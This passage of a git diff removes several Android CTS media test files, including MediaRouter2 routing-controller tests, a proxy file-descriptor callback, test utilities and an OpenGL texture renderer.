-                onTransferLatch.countDown();
-            }
-        };
-
-        ControllerCallback controllerCallback = new ControllerCallback() {
-            @Override
-            public void onControllerUpdated(RoutingController controller) {
-                if (onTransferLatch.getCount() != 0
-                        || !TextUtils.equals(controllers.get(0).getId(), controller.getId())) {
-                    return;
-                }
-                assertEquals(1, controller.getSelectedRoutes().size());
-                assertFalse(createRouteMap(controller.getSelectedRoutes())
-                        .containsKey(ROUTE_ID1));
-                assertTrue(createRouteMap(controller.getSelectedRoutes())
-                        .containsKey(ROUTE_ID5_TO_TRANSFER_TO));
-                onControllerUpdatedLatch.countDown();
-            }
-        };
-
-        try {
-            mSystemRouter2ForCts.registerTransferCallback(mExecutor, transferCallback);
-            mSystemRouter2ForCts.registerControllerCallback(mExecutor, controllerCallback);
-            mSystemRouter2ForCts.transferTo(routeToBegin);
-            assertTrue(onTransferLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
-
-            assertEquals(1, controllers.size());
-            RoutingController controller = controllers.get(0);
-
-            // Transfer to ROUTE_ID5_TO_TRANSFER_TO
-            MediaRoute2Info routeToTransferTo = routes.get(ROUTE_ID5_TO_TRANSFER_TO);
-            assertNotNull(routeToTransferTo);
-
-            mSystemRouter2ForCts.transferTo(routeToTransferTo);
-            assertTrue(onControllerUpdatedLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
-        } finally {
-            releaseControllers(controllers);
-            mSystemRouter2ForCts.unregisterControllerCallback(controllerCallback);
-            mSystemRouter2ForCts.unregisterTransferCallback(transferCallback);
-        }
-    }
-
-    @Test
-    public void testRoutingControllerSetSessionVolume() throws Exception {
-        Map<String, MediaRoute2Info> routes = waitAndGetRoutes(FEATURE_SAMPLE);
-        MediaRoute2Info route = routes.get(ROUTE_ID1);
-        assertNotNull(route);
-
-        CountDownLatch successLatch = new CountDownLatch(1);
-        CountDownLatch volumeChangedLatch = new CountDownLatch(1);
-
-        List<RoutingController> controllers = new ArrayList<>();
-
-        // Create session with this route
-        TransferCallback transferCallback = new TransferCallback() {
-            @Override
-            public void onTransfer(RoutingController oldController,
-                    RoutingController newController) {
-                controllers.add(newController);
-                successLatch.countDown();
-            }
-        };
-
-        try {
-            mSystemRouter2ForCts.registerTransferCallback(mExecutor, transferCallback);
-            mSystemRouter2ForCts.transferTo(route);
-
-            assertTrue(successLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
-        } finally {
-            mSystemRouter2ForCts.unregisterTransferCallback(transferCallback);
-        }
-
-        assertEquals(1, controllers.size());
-
-        // test setSessionVolume
-        RoutingController targetController = controllers.get(0);
-        assertEquals(PLAYBACK_VOLUME_VARIABLE, targetController.getVolumeHandling());
-        int currentVolume = targetController.getVolume();
-        int maxVolume = targetController.getVolumeMax();
-        int targetVolume = (currentVolume == maxVolume) ? currentVolume - 1 : (currentVolume + 1);
-
-        ControllerCallback controllerCallback = new ControllerCallback() {
-            @Override
-            public void onControllerUpdated(MediaRouter2.RoutingController controller) {
-                if (!TextUtils.equals(targetController.getId(), controller.getId())) {
-                    return;
-                }
-                if (controller.getVolume() == targetVolume) {
-                    volumeChangedLatch.countDown();
-                }
-            }
-        };
-
-        try {
-            mSystemRouter2ForCts.registerControllerCallback(mExecutor, controllerCallback);
-            targetController.setVolume(targetVolume);
-            assertTrue(volumeChangedLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
-        } finally {
-            releaseControllers(controllers);
-            mSystemRouter2ForCts.unregisterControllerCallback(controllerCallback);
-        }
-    }
-
-    @Test
-    public void testRoutingControllerRelease() throws Exception {
-        Map<String, MediaRoute2Info> routes = waitAndGetRoutes(FEATURE_SAMPLE);
-        MediaRoute2Info route = routes.get(ROUTE_ID1);
-        assertNotNull(route);
-
-        final CountDownLatch onTransferLatch = new CountDownLatch(1);
-        final CountDownLatch onControllerUpdatedLatch = new CountDownLatch(1);
-        final CountDownLatch onStopLatch = new CountDownLatch(1);
-        final List<RoutingController> controllers = new ArrayList<>();
-
-        TransferCallback transferCallback = new TransferCallback() {
-            @Override
-            public void onTransfer(RoutingController oldController,
-                    RoutingController newController) {
-                assertEquals(mSystemRouter2ForCts.getSystemController(), oldController);
-                assertTrue(createRouteMap(newController.getSelectedRoutes())
-                        .containsKey(ROUTE_ID1));
-                controllers.add(newController);
-                onTransferLatch.countDown();
-            }
-            @Override
-            public void onStop(RoutingController controller) {
-                if (onTransferLatch.getCount() != 0
-                        || !TextUtils.equals(controllers.get(0).getId(), controller.getId())) {
-                    return;
-                }
-                onStopLatch.countDown();
-            }
-        };
-
-        ControllerCallback controllerCallback = new ControllerCallback() {
-            @Override
-            public void onControllerUpdated(RoutingController controller) {
-                if (onTransferLatch.getCount() != 0
-                        || !TextUtils.equals(controllers.get(0).getId(), controller.getId())) {
-                    return;
-                }
-                onControllerUpdatedLatch.countDown();
-            }
-        };
-
-        try {
-            mSystemRouter2ForCts.registerTransferCallback(mExecutor, transferCallback);
-            mSystemRouter2ForCts.registerControllerCallback(mExecutor, controllerCallback);
-            mSystemRouter2ForCts.transferTo(route);
-            assertTrue(onTransferLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
-
-            assertEquals(1, controllers.size());
-            RoutingController controller = controllers.get(0);
-
-            // Release controller. Future calls should be ignored.
-            controller.release();
-
-            // Select ROUTE_ID5_TO_TRANSFER_TO
-            MediaRoute2Info routeToSelect = routes.get(ROUTE_ID4_TO_SELECT_AND_DESELECT);
-            assertNotNull(routeToSelect);
-
-            // This call should be ignored.
-            // The onControllerUpdated() shouldn't be called.
-            controller.selectRoute(routeToSelect);
-            assertFalse(onControllerUpdatedLatch.await(WAIT_MS, TimeUnit.MILLISECONDS));
-
-            // onStop should be called.
-            assertTrue(onStopLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
-        } finally {
-            releaseControllers(controllers);
-            mSystemRouter2ForCts.unregisterControllerCallback(controllerCallback);
-            mSystemRouter2ForCts.unregisterTransferCallback(transferCallback);
-        }
-    }
-
-    private Map<String, MediaRoute2Info> waitAndGetRoutes(String feature) throws Exception {
-        List<String> features = new ArrayList<>();
-        features.add(feature);
-
-        mAppRouter2.registerRouteCallback(mExecutor, mAppRouterPlaceHolderCallback,
-                new RouteDiscoveryPreference.Builder(features, true).build());
-
-        CountDownLatch latch = new CountDownLatch(1);
-        RouteCallback routeCallback = new RouteCallback() {
-            @Override
-            public void onRoutesAdded(List<MediaRoute2Info> routes) {
-                for (MediaRoute2Info route : routes) {
-                    if (route.getFeatures().contains(feature)) {
-                        latch.countDown();
-                        break;
-                    }
-                }
-            }
-        };
-
-        mSystemRouter2ForCts.registerRouteCallback(mExecutor, routeCallback,
-                RouteDiscoveryPreference.EMPTY);
-
-        try {
-            // Note: The routes can be added before registering the callback,
-            // therefore no assertTrue() here.
-            latch.await(WAIT_MS, TimeUnit.MILLISECONDS);
-            return createRouteMap(mSystemRouter2ForCts.getRoutes());
-        } finally {
-            mSystemRouter2ForCts.unregisterRouteCallback(routeCallback);
-        }
-    }
-
-    // Helper for getting routes easily. Uses original ID as a key
-    private static Map<String, MediaRoute2Info> createRouteMap(List<MediaRoute2Info> routes) {
-        Map<String, MediaRoute2Info> routeMap = new HashMap<>();
-        for (MediaRoute2Info route : routes) {
-            routeMap.put(route.getOriginalId(), route);
-        }
-        return routeMap;
-    }
-
-    private void releaseAllSessions() {
-        MediaRouter2Manager manager = MediaRouter2Manager.getInstance(mContext);
-        for (RoutingSessionInfo session : manager.getActiveSessions()) {
-            manager.releaseSession(session);
-        }
-    }
-
-    private void clearCallbacks() {
-        for (RouteCallback routeCallback : mRouteCallbacks) {
-            mAppRouter2.unregisterRouteCallback(routeCallback);
-            mSystemRouter2ForCts.unregisterRouteCallback(routeCallback);
-        }
-        mRouteCallbacks.clear();
-
-        for (TransferCallback transferCallback : mTransferCallbacks) {
-            mAppRouter2.unregisterTransferCallback(transferCallback);
-            mSystemRouter2ForCts.unregisterTransferCallback(transferCallback);
-        }
-        mTransferCallbacks.clear();
-    }
-
-    static void releaseControllers(List<RoutingController> controllers) {
-        for (RoutingController controller : controllers) {
-            controller.release();
-        }
-    }
-}
diff --git a/tests/tests/media/src/android/media/cts/TestProxyFileDescriptorCallback.java b/tests/tests/media/src/android/media/cts/TestProxyFileDescriptorCallback.java
deleted file mode 100644
index 0bc0215..0000000
--- a/tests/tests/media/src/android/media/cts/TestProxyFileDescriptorCallback.java
+++ /dev/null
@@ -1,127 +0,0 @@
-/*
- * Copyright 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.media.cts;
-
-import android.content.res.AssetFileDescriptor;
-import android.os.ProxyFileDescriptorCallback;
-import android.platform.test.annotations.AppModeFull;
-import android.system.ErrnoException;
-import android.system.OsConstants;
-import android.util.Log;
-
-import java.io.IOException;
-import java.io.InputStream;
-
-/**
- * A ProxyFileDescriptorCallback that reads from a byte array for use in tests.
- */
-@AppModeFull(reason = "TODO: evaluate and port to instant")
-public class TestProxyFileDescriptorCallback extends ProxyFileDescriptorCallback {
-    private static final String TAG = "TestProxyFileDescriptorCallback";
-
-    private byte[] mData;
-
-    private boolean mThrowFromReadAt;
-    private boolean mThrowFromGetSize;
-    private Integer mReturnFromReadAt;
-    private Long mReturnFromGetSize;
-    private boolean mIsClosed;
-
-    // Read an asset fd into a new byte array data source. Closes afd.
-    public static TestProxyFileDescriptorCallback fromAssetFd(AssetFileDescriptor afd)
-            throws IOException {
-        try {
-            InputStream in = afd.createInputStream();
-            final int size = (int) afd.getDeclaredLength();
-            byte[] data = new byte[(int) size];
-            int writeIndex = 0;
-            int numRead = 0;
-            do {
-                numRead = in.read(data, writeIndex, size - writeIndex);
-                writeIndex += numRead;
-            } while (numRead >= 0);
-            return new TestProxyFileDescriptorCallback(data);
-        } finally {
-            afd.close();
-        }
-    }
-
-    public TestProxyFileDescriptorCallback(byte[] data) {
-        mData = data;
-    }
-
-    @Override
-    public int onRead(long offset, int size, byte[] data) throws ErrnoException {
-        if (mThrowFromReadAt) {
-            throw new ErrnoException("onRead", OsConstants.EIO);
-        }
-        if (mReturnFromReadAt != null) {
-            return mReturnFromReadAt;
-        }
-
-        // Clamp reads past the end of the source.
-        if (offset >= mData.length) {
-            return 0; // 0 indicates EOF
-        }
-        if (offset + size > mData.length) {
-            size -= (offset + size) - mData.length;
-        }
-        System.arraycopy(mData, (int)offset, data, 0, size);
-        return size;
-    }
-
-    @Override
-    public long onGetSize() throws ErrnoException {
-        if (mThrowFromGetSize) {
-            throw new ErrnoException("onGetSize", OsConstants.EIO);
-        }
-        if (mReturnFromGetSize != null) {
-            return mReturnFromGetSize;
-        }
-
-        Log.v(TAG, "getSize: " + mData.length);
-        return mData.length;
-    }
-
-    @Override
-    public void onRelease() {
-        Log.d(TAG, "onRelease()");
-        mIsClosed = true;
-    }
-
-    // Whether close() has been called.
-    public synchronized boolean isClosed() {
-        return mIsClosed;
-    }
-
-    public void throwFromReadAt() {
-        mThrowFromReadAt = true;
-    }
-
-    public void throwFromGetSize() {
-        mThrowFromGetSize = true;
-    }
-
-    public void returnFromReadAt(int numRead) {
-        mReturnFromReadAt = numRead;
-    }
-
-    public void returnFromGetSize(long size) {
-        mReturnFromGetSize = size;
-    }
-}
-
diff --git a/tests/tests/media/src/android/media/cts/TestUtils.java b/tests/tests/media/src/android/media/cts/TestUtils.java
deleted file mode 100644
index cf0de1d..0000000
--- a/tests/tests/media/src/android/media/cts/TestUtils.java
+++ /dev/null
@@ -1,208 +0,0 @@
-/*
- * Copyright 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.media.cts;
-
-import static android.content.pm.PackageManager.MATCH_APEX;
-
-import static org.junit.Assume.assumeTrue;
-
-import android.content.Context;
-import android.content.pm.ApplicationInfo;
-import android.content.pm.PackageInfo;
-import android.content.pm.PackageManager;
-import android.os.Bundle;
-import android.util.Log;
-
-import androidx.test.core.app.ApplicationProvider;
-
-import org.junit.Assert;
-import org.junit.AssumptionViolatedException;
-
-import java.util.Objects;
-
-/**
- * Utilities for tests.
- */
-public final class TestUtils {
-    private static String TAG = "TestUtils";
-    private static final int WAIT_TIME_MS = 1000;
-    private static final int WAIT_SERVICE_TIME_MS = 5000;
-
-    /**
-     * Compares contents of two bundles.
-     *
-     * @param a a bundle
-     * @param b another bundle
-     * @return {@code true} if two bundles are the same. {@code false} otherwise. This may be
-     *     incorrect if any bundle contains a bundle.
-     */
-    public static boolean equals(Bundle a, Bundle b) {
-        if (a == b) {
-            return true;
-        }
-        if (a == null || b == null) {
-            return false;
-        }
-        if (!a.keySet().containsAll(b.keySet())
-                || !b.keySet().containsAll(a.keySet())) {
-            return false;
-        }
-        for (String key : a.keySet()) {
-            if (!Objects.equals(a.get(key), b.get(key))) {
-                return false;
-            }
-        }
-        return true;
-    }
-
-    /**
-     * Checks {@code module} is at least {@code minVersion}
-     *
-     * The tests are skipped by throwing a {@link AssumptionViolatedException}.  CTS test runners
-     * will report this as a {@code ASSUMPTION_FAILED}.
-     *
-     * @param module     the apex module name
-     * @param minVersion the minimum version
-     * @throws AssumptionViolatedException if module version < minVersion
-     */
-    static void assumeMainlineModuleAtLeast(String module, long minVersion) {
-        try {
-            long actualVersion = getModuleVersion(module);
-            assumeTrue("Assume  module  " + module + " version " + actualVersion + " < minVersion"
-                    + minVersion, actualVersion >= minVersion);
-        } catch (PackageManager.NameNotFoundException e) {
-            Assert.fail(e.getMessage());
-        }
-    }
-
-    /**
-     * Checks if {@code module} is < {@code minVersion}
-     *
-     * <p>
-     * {@link AssumptionViolatedException} is not handled properly by {@code JUnit3} so just return
-     * the test
-     * early instead.
-     *
-     * @param module     the apex module name
-     * @param minVersion the minimum version
-     * @deprecated convert test to JUnit4 and use
-     * {@link #assumeMainlineModuleAtLeast(String, long)} instead.
-     */
-    @Deprecated
-    static boolean skipTestIfMainlineLessThan(String module, long minVersion) {
-        try {
-            long actualVersion = getModuleVersion(module);
-            if (actualVersion < minVersion) {
-                Log.i(TAG, "Skipping test because Module  " + module + " minVersion " + minVersion
-                        + " > "
-                        + minVersion
-                );
-                return true;
-            } else {
-                return false;
-            }
-        } catch (PackageManager.NameNotFoundException e) {
-            Assert.fail(e.getMessage());
-            return false;
-        }
-    }
-
-    private static long getModuleVersion(String module)
-            throws PackageManager.NameNotFoundException {
-        Context context = ApplicationProvider.getApplicationContext();
-        PackageInfo info = context.getPackageManager().getPackageInfo(module,
-                MATCH_APEX);
-        return info.getLongVersionCode();
-    }
-
-
-    /**
-     * Reports whether {@code module} is the version shipped with the original system image
-     * or if it has been updated via a mainline update.
-     *
-     * @param module     the apex module name
-     * @return {@code true} if the apex module is the original version shipped with the device.
-     */
-    public static boolean isMainlineModuleFactoryVersion(String module) {
-        try {
-            Context context = ApplicationProvider.getApplicationContext();
-            PackageInfo info = context.getPackageManager().getPackageInfo(module,
-                    MATCH_APEX);
-            if (info != null) {
-                return (info.applicationInfo.flags & ApplicationInfo.FLAG_SYSTEM) != 0;
-            }
-        } catch (PackageManager.NameNotFoundException e) {
-            // Ignore the exception on devices that do not have this module
-        }
-        return true;
-    }
-
-    private TestUtils() {
-    }
-
-    public static class Monitor {
-        private int mNumSignal;
-
-        public synchronized void reset() {
-            mNumSignal = 0;
-        }
-
-        public synchronized void signal() {
-            mNumSignal++;
-            notifyAll();
-        }
-
-        public synchronized boolean waitForSignal() throws InterruptedException {
-            return waitForCountedSignals(1) > 0;
-        }
-
-        public synchronized int waitForCountedSignals(int targetCount) throws InterruptedException {
-            while (mNumSignal < targetCount) {
-                wait();
-            }
-            return mNumSignal;
-        }
-
-        public synchronized boolean waitForSignal(long timeoutMs) throws InterruptedException {
-            return waitForCountedSignals(1, timeoutMs) > 0;
-        }
-
-        public synchronized int waitForCountedSignals(int targetCount, long timeoutMs)
-                throws InterruptedException {
-            if (timeoutMs == 0) {
-                return waitForCountedSignals(targetCount);
-            }
-            long deadline = System.currentTimeMillis() + timeoutMs;
-            while (mNumSignal < targetCount) {
-                long delay = deadline - System.currentTimeMillis();
-                if (delay <= 0) {
-                    break;
-                }
-                wait(delay);
-            }
-            return mNumSignal;
-        }
-
-        public synchronized boolean isSignalled() {
-            return mNumSignal >= 1;
-        }
-
-        public synchronized int getNumSignal() {
-            return mNumSignal;
-        }
-    }
-}
diff --git a/tests/tests/media/src/android/media/cts/TextureRender.java b/tests/tests/media/src/android/media/cts/TextureRender.java
deleted file mode 100644
index 4125dcf..0000000
--- a/tests/tests/media/src/android/media/cts/TextureRender.java
+++ /dev/null
@@ -1,302 +0,0 @@
-/*
- * Copyright (C) 2013 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.media.cts;
-
-import java.io.File;
-import java.io.FileOutputStream;
-import java.io.IOException;
-import java.nio.ByteBuffer;
-import java.nio.ByteOrder;
-import java.nio.FloatBuffer;
-
-import android.graphics.Bitmap;
-import android.graphics.SurfaceTexture;
-import android.opengl.GLES11Ext;
-import android.opengl.GLES20;
-import android.opengl.Matrix;
-import android.util.Log;
-
-
-/**
- * Code for rendering a texture onto a surface using OpenGL ES 2.0.
- */
-class TextureRender {
-    private static final String TAG = "TextureRender";
-
-    private static final int FLOAT_SIZE_BYTES = 4;
-    private static final int TRIANGLE_VERTICES_DATA_STRIDE_BYTES = 5 * FLOAT_SIZE_BYTES;
-    private static final int TRIANGLE_VERTICES_DATA_POS_OFFSET = 0;
-    private static final int TRIANGLE_VERTICES_DATA_UV_OFFSET = 3;
-    private final float[] mTriangleVerticesData = {
-        // X, Y, Z, U, V
-        -1.0f, -1.0f, 0, 0.f, 0.f,
-         1.0f, -1.0f, 0, 1.f, 0.f,
-        -1.0f,  1.0f, 0, 0.f, 1.f,
-         1.0f,  1.0f, 0, 1.f, 1.f,
-    };
-
-    private FloatBuffer mTriangleVertices;
-
-    private static final String VERTEX_SHADER =
-            "uniform mat4 uMVPMatrix;\n" +
-            "uniform mat4 uSTMatrix;\n" +
-            "attribute vec4 aPosition;\n" +
-            "attribute vec4 aTextureCoord;\n" +
-            "varying vec2 vTextureCoord;\n" +
-            "void main() {\n" +
-            "  gl_Position = uMVPMatrix * aPosition;\n" +
-            "  vTextureCoord = (uSTMatrix * aTextureCoord).xy;\n" +
-            "}\n";
-
-    private static final String FRAGMENT_SHADER =
-            "#extension GL_OES_EGL_image_external : require\n" +
-            "precision mediump float;\n" +      // highp here doesn't seem to matter
-            "varying vec2 vTextureCoord;\n" +
-            "uniform samplerExternalOES sTexture;\n" +
-            "void main() {\n" +
-            "  gl_FragColor = texture2D(sTexture, vTextureCoord);\n" +
-            "}\n";
-
-    private float[] mMVPMatrix = new float[16];
-    private float[] mSTMatrix = new float[16];
-
-    private int mProgram;
-    private int mTextureID = -12345;
-    private int muMVPMatrixHandle;
-    private int muSTMatrixHandle;
-    private int maPositionHandle;
-    private int maTextureHandle;
-
-    public TextureRender() {
-        mTriangleVertices = ByteBuffer.allocateDirect(
-            mTriangleVerticesData.length * FLOAT_SIZE_BYTES)
-                .order(ByteOrder.nativeOrder()).asFloatBuffer();
-        mTriangleVertices.put(mTriangleVerticesData).position(0);
-
-        Matrix.setIdentityM(mSTMatrix, 0);
-    }
-
-    public int getTextureId() {
-        return mTextureID;
-    }
-
-    public void drawFrame(SurfaceTexture st) {
-        checkGlError("onDrawFrame start");
-        st.getTransformMatrix(mSTMatrix);
-
-        GLES20.glClearColor(0.0f, 1.0f, 0.0f, 1.0f);
-        GLES20.glClear(GLES20.GL_DEPTH_BUFFER_BIT | GLES20.GL_COLOR_BUFFER_BIT);
-
-        GLES20.glUseProgram(mProgram);
-        checkGlError("glUseProgram");
-
-        GLES20.glActiveTexture(GLES20.GL_TEXTURE0);
-        GLES20.glBindTexture(GLES11Ext.GL_TEXTURE_EXTERNAL_OES, mTextureID);
-
-        mTriangleVertices.position(TRIANGLE_VERTICES_DATA_POS_OFFSET);
-        GLES20.glVertexAttribPointer(maPositionHandle, 3, GLES20.GL_FLOAT, false,
-            TRIANGLE_VERTICES_DATA_STRIDE_BYTES, mTriangleVertices);
-        checkGlError("glVertexAttribPointer maPosition");
-        GLES20.glEnableVertexAttribArray(maPositionHandle);
-        checkGlError("glEnableVertexAttribArray maPositionHandle");
-
-        mTriangleVertices.position(TRIANGLE_VERTICES_DATA_UV_OFFSET);
-        GLES20.glVertexAttribPointer(maTextureHandle, 2, GLES20.GL_FLOAT, false,
-            TRIANGLE_VERTICES_DATA_STRIDE_BYTES, mTriangleVertices);
-        checkGlError("glVertexAttribPointer maTextureHandle");
-        GLES20.glEnableVertexAttribArray(maTextureHandle);
-        checkGlError("glEnableVertexAttribArray maTextureHandle");
-
-        Matrix.setIdentityM(mMVPMatrix, 0);
-        GLES20.glUniformMatrix4fv(muMVPMatrixHandle, 1, false, mMVPMatrix, 0);
-        GLES20.glUniformMatrix4fv(muSTMatrixHandle, 1, false, mSTMatrix, 0);
-
-        GLES20.glDrawArrays(GLES20.GL_TRIANGLE_STRIP, 0, 4);
-        checkGlError("glDrawArrays");
-        GLES20.glFinish();
-    }
-
-    /**
-     * Initializes GL state.  Call this after the EGL surface has been created and made current.
-     */
-    public void surfaceCreated() {
-        mProgram = createProgram(VERTEX_SHADER, FRAGMENT_SHADER);
-        if (mProgram == 0) {
-            throw new RuntimeException("failed creating program");
-        }
-        maPositionHandle = GLES20.glGetAttribLocation(mProgram, "aPosition");
-        checkGlError("glGetAttribLocation aPosition");
-        if (maPositionHandle == -1) {
-            throw new RuntimeException("Could not get attrib location for aPosition");
-        }
-        maTextureHandle = GLES20.glGetAttribLocation(mProgram, "aTextureCoord");
-        checkGlError("glGetAttribLocation aTextureCoord");
-        if (maTextureHandle == -1) {
-            throw new RuntimeException("Could not get attrib location for aTextureCoord");
-        }
-
-        muMVPMatrixHandle = GLES20.glGetUniformLocation(mProgram, "uMVPMatrix");
-        checkGlError("glGetUniformLocation uMVPMatrix");
-        if (muMVPMatrixHandle == -1) {
-            throw new RuntimeException("Could not get attrib location for uMVPMatrix");
-        }
-
-        muSTMatrixHandle = GLES20.glGetUniformLocation(mProgram, "uSTMatrix");
-        checkGlError("glGetUniformLocation uSTMatrix");
-        if (muSTMatrixHandle == -1) {
-            throw new RuntimeException("Could not get attrib location for uSTMatrix");
-        }
-
-
-        int[] textures = new int[1];
-        GLES20.glGenTextures(1, textures, 0);
-
-        mTextureID = textures[0];
-        GLES20.glBindTexture(GLES11Ext.GL_TEXTURE_EXTERNAL_OES, mTextureID);
-        checkGlError("glBindTexture mTextureID");
-
-        GLES20.glTexParameterf(GLES11Ext.GL_TEXTURE_EXTERNAL_OES, GLES20.GL_TEXTURE_MIN_FILTER,
-                GLES20.GL_NEAREST);
-        GLES20.glTexParameterf(GLES11Ext.GL_TEXTURE_EXTERNAL_OES, GLES20.GL_TEXTURE_MAG_FILTER,
-                GLES20.GL_LINEAR);
-        GLES20.glTexParameteri(GLES11Ext.GL_TEXTURE_EXTERNAL_OES, GLES20.GL_TEXTURE_WRAP_S,
-                GLES20.GL_CLAMP_TO_EDGE);
-        GLES20.glTexParameteri(GLES11Ext.GL_TEXTURE_EXTERNAL_OES, GLES20.GL_TEXTURE_WRAP_T,
-                GLES20.GL_CLAMP_TO_EDGE);
-        checkGlError("glTexParameter");
-    }
-
-    /**
-     * Replaces the fragment shader.
-     */
-    public void changeFragmentShader(String fragmentShader) {
-        GLES20.glDeleteProgram(mProgram);
-        mProgram = createProgram(VERTEX_SHADER, fragmentShader);
-        if (mProgram == 0) {
-            throw new RuntimeException("failed creating program");
-        }
-    }
-
-    private int loadShader(int shaderType, String source) {
-        int shader = GLES20.glCreateShader(shaderType);
-        checkGlError("glCreateShader type=" + shaderType);
-        GLES20.glShaderSource(shader, source);
-        GLES20.glCompileShader(shader);
-        int[] compiled = new int[1];
-        GLES20.glGetShaderiv(shader, GLES20.GL_COMPILE_STATUS, compiled, 0);
-        if (compiled[0] == 0) {
-            Log.e(TAG, "Could not compile shader " + shaderType + ":");
-            Log.e(TAG, " " + GLES20.glGetShaderInfoLog(shader));
-            GLES20.glDeleteShader(shader);
-            shader = 0;
-        }
-        return shader;
-    }
-
-    private int createProgram(String vertexSource, String fragmentSource) {
-        int vertexShader = loadShader(GLES20.GL_VERTEX_SHADER, vertexSource);
-        if (vertexShader == 0) {
-            return 0;
-        }
-        int pixelShader = loadShader(GLES20.GL_FRAGMENT_SHADER, fragmentSource);
-        if (pixelShader == 0) {
-            return 0;
-        }
-
-        int program = GLES20.glCreateProgram();
-        checkGlError("glCreateProgram");
-        if (program == 0) {
-            Log.e(TAG, "Could not create program");
-        }
-        GLES20.glAttachShader(program, vertexShader);
-        checkGlError("glAttachShader");
-        GLES20.glAttachShader(program, pixelShader);
-        checkGlError("glAttachShader");
-        GLES20.glLinkProgram(program);
-        int[] linkStatus = new int[1];
-        GLES20.glGetProgramiv(program, GLES20.GL_LINK_STATUS, linkStatus, 0);
-        if (linkStatus[0] != GLES20.GL_TRUE) {
-            Log.e(TAG, "Could not link program: ");
-            Log.e(TAG, GLES20.glGetProgramInfoLog(program));
-            GLES20.glDeleteProgram(program);
-            program = 0;
-        }
-        return program;
-    }
-
-    public void checkGlError(String op) {
-        int error;
-        while ((error = GLES20.glGetError()) != GLES20.GL_NO_ERROR) {
-            Log.e(TAG, op + ": glError " + error);
-            throw new RuntimeException(op + ": glError " + error);
-        }
-    }
-
-    /**
-     * Saves the current frame to disk as a PNG image.  Frame starts from (0,0).
-     * <p>
-     * Useful for debugging.
-     */
-    public static void saveFrame(String filename, int width, int height) {
-        // glReadPixels gives us a ByteBuffer filled with what is essentially big-endian RGBA
-        // data (i.e. a byte of red, followed by a byte of green...).  We need an int[] filled
-        // with native-order ARGB data to feed to Bitmap.
-        //
-        // If we implement this as a series of buf.get() calls, we can spend 2.5 seconds just
-        // copying data around for a 720p frame.  It's better to do a bulk get() and then
-        // rearrange the data in memory.  (For comparison, the PNG compress takes about 500ms
-        // for a trivial frame.)
-        //
-        // So... we set the ByteBuffer to little-endian, which should turn the bulk IntBuffer
-        // get() into a straight memcpy on most Android devices.  Our ints will hold ABGR data.
-        // Swapping B and R gives us ARGB.  We need about 30ms for the bulk get(), and another
-        // 270ms for the color swap.
-        //
-        // Making this even more interesting is the upside-down nature of GL, which means we
-        // may want to flip the image vertically here.
-
-        ByteBuffer buf = ByteBuffer.allocateDirect(width * height * 4);
-        buf.order(ByteOrder.LITTLE_ENDIAN);
-        GLES20.glReadPixels(0, 0, width, height, GLES20.GL_RGBA, GLES20.GL_UNSIGNED_BYTE, buf);
-        buf.rewind();
-
-        int pixelCount = width * height;
-        int[] colors = new int[pixelCount];
-        buf.asIntBuffer().get(colors);
-        for (int i = 0; i < pixelCount; i++) {
-            int c = colors[i];
-            colors[i] = (c & 0xff00ff00) | ((c & 0x00ff0000) >> 16) | ((c & 0x000000ff) << 16);
-        }
-
-        FileOutputStream fos = null;
-        try {
-            fos = new FileOutputStream(filename);
-            Bitmap bmp = Bitmap.createBitmap(colors, width, height, Bitmap.Config.ARGB_8888);
-            bmp.compress(Bitmap.CompressFormat.PNG, 90, fos);
-            bmp.recycle();
-        } catch (IOException ioe) {
-            throw new RuntimeException("Failed to write file " + filename, ioe);
-        } finally {
-            try {
-                if (fos != null) fos.close();
-            } catch (IOException ioe2) {
-                throw new RuntimeException("Failed to close file " + filename, ioe2);
-            }
-        }
-        Log.d(TAG, "Saved " + width + "x" + height + " frame as '" + filename + "'");
-    }
-}
diff --git a/tests/tests/media/src/android/media/cts/ThumbnailUtilsTest.java b/tests/tests/media/src/android/media/cts/ThumbnailUtilsTest.java
deleted file mode 100644
index 6fdf955..0000000
--- a/tests/tests/media/src/android/media/cts/ThumbnailUtilsTest.java
+++ /dev/null
@@ -1,249 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.media.cts;
-
-import static org.junit.Assert.assertTrue;
-import static org.junit.Assert.fail;
-
-import android.annotation.ColorInt;
-import android.graphics.Bitmap;
-import android.graphics.Color;
-import static android.media.MediaFormat.MIMETYPE_VIDEO_HEVC;
-import android.media.ThumbnailUtils;
-import android.os.Build;
-import android.platform.test.annotations.AppModeFull;
